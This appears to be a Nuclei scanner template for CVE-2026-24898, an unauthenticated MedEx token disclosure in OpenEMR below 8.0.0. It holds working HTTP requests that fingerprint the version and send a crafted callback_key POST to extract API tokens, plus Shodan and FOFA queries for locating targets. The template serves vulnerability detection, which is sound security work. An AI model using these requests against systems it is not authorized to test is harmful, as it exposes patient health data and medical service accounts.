OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure

id: CVE-2026-24898

info:
  name: OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure
  author: Securin
  severity: critical
  description: |
    OpenEMR < 8.0.0 contains an unauthenticated token disclosure caused by bypassing authentication in the MedEx callback endpoint, letting unauthenticated visitors obtain MedEx API tokens and perform unauthorized actions, exploit requires crafted POST request with callback_key.
  impact: |
    Unauthenticated attackers can obtain API tokens, leading to third-party service compromise, PHI exfiltration, and HIPAA violations.
  remediation: |
    Upgrade to version 8.0.0 or later.
  reference:
    - https://github.com/openemr/openemr/security/advisories/GHSA-qwff-3mw7-7rc7
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24898
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-24898
    epss-score: 0.02422
    epss-percentile: 0.8416
    cwe-id: CWE-200,CWE-306
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
    shodan-query: http.title:"OpenEMR"
    fofa-query: title="OpenEMR"
  tags: cve,cve2026,openemr,auth-bypass,unauth,exposure,intrusive

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /composer.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "openemr")'
          - 'compare_versions(version, "< 8.0.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        internal: true
        regex:
          - '"version"\s*:\s*"([0-9]+\.[0-9]+\.[0-9]+)"'

  - raw:
      - |
        GET /library/MedEx/MedEx.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Not logged in:")'
          - '!contains(body, "\"error\"")'
        condition: and
        internal: true

  - raw:
      - |
        POST /library/MedEx/MedEx.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        callback_key={{randstr}}

    matchers-condition: or
    matchers:
      - type: dsl
        name: token-disclosed
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(body, "\"token\"")'
        condition: and

      - type: dsl
        name: auth-bypass
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("^\\s*false\\s*$", body)'
        condition: and
# digest: 4b0a00483046022100d017135c691a528ca6c493968100bd23f382b7d37b373064f97264ed072d42f1022100cc14c546cce21a22e3c57cda0f85eb9cda0416ecf41ecba16e1aa5ed4a6bcf0a:922c64590222798bb761d5b6d8e72950